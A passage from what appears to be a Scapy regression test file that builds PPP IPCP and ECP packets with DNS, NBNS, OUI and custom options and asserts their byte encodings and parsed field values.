PPP()/PPP_IPCP(options=[PPP_IPCP_Option_DNS1(data="1.2.3.4"),PPP_IPCP_Option_DNS2(data="5.6.7.8"),PPP_IPCP_Option(type=123,data="ABCDEFG"),PPP_IPCP_Option_NBNS2(data="9.10.11.12")])
p=_
str(p)
assert(_ == '\x80!\x01\x00\x00\x1f\x81\x06\x01\x02\x03\x04\x83\x06\x05\x06\x07\x08{\tABCDEFG\x84\x06\t\n\x0b\x0c')
PPP(_)
q=_
assert( q[PPP_IPCP_Option].type == 123 )
assert( q[PPP_IPCP_Option].data == 'ABCDEFG' )
assert( q[PPP_IPCP_Option_NBNS2].data == '9.10.11.12' )
= PPP ECP
~ ppp ecp
PPP()/PPP_ECP(options=[PPP_ECP_Option_OUI(oui="XYZ")])
p=_
str(p)
assert(_ == '\x80S\x01\x00\x00\n\x00\x06XYZ\x00')
PPP(_)
q=_
assert( str(p)==str(q) )
PPP()/PPP_ECP(options=[PPP_ECP_Option_OUI(oui="XYZ"),PPP_ECP_Option(type=1,data="ABCDEFG")])
p=_
str(p)
assert(_ == '\x80S\x01\x00\x00\x13\x00\x06XYZ\x00\x01\tABCDEFG')
PPP(_)
q=_
assert( str(p) == str(q) )
assert( q[PPP_ECP_Option].data == "ABCDEFG" )
# Scapy6 Regression Test Campaign